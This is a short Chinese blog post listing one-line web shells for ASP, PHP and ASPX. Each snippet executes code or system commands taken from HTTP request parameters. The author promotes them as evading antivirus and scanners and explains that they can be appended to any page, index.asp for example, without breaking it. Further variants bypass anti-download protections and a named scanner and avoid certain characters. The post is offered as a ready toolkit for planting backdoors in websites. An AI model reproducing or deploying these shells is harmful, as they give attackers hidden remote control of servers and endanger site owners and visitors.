一句话

以下这个ASP一句话
<%If Request("1")<>"" Then ExecuteGlobal(Request("1"))%>

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如index.asp里面也是可以的!因为加了判断!

加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件的最底部不会出错!

<?if(isset($_POST['1'])){eval($_POST['1']);}?>

<?php system($_REQUEST[1]);?>

无防下载表,有防下载表可尝试插入以下语句突破的一句话

<%execute request("class")%><%'<% loop <%:%>

<%'<% loop <%:%><%execute request("class")%>

<%execute request("class")'<% loop <%:%>

备份专用

<%eval(request("1")):response.end%>

asp一句话

<%execute(request("1"))%>

php一句话

<?php eval($_POST[1]);?>

aspx一句话

<script runat="server">

WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");

</script>

可以躲过雷客图的一句话。

<%

set ms = server.CreateObject("MSScriptControl.ScriptControl.1")

ms.Language="VBScript"

ms.AddObject "Response", Response

ms.AddObject "request", request

ms.ExecuteStatement("ev"&"al(request(""1""))")

%>

不用'<,>'的asp一句话

<script runat=server>execute request("1")</script>

不用双引号的一句话。

<%eval request(chr(35))%>

posted @ 2011-11-20 07:51  WHaa_(T_T)  阅读(206)  评论(0编辑  收藏  举报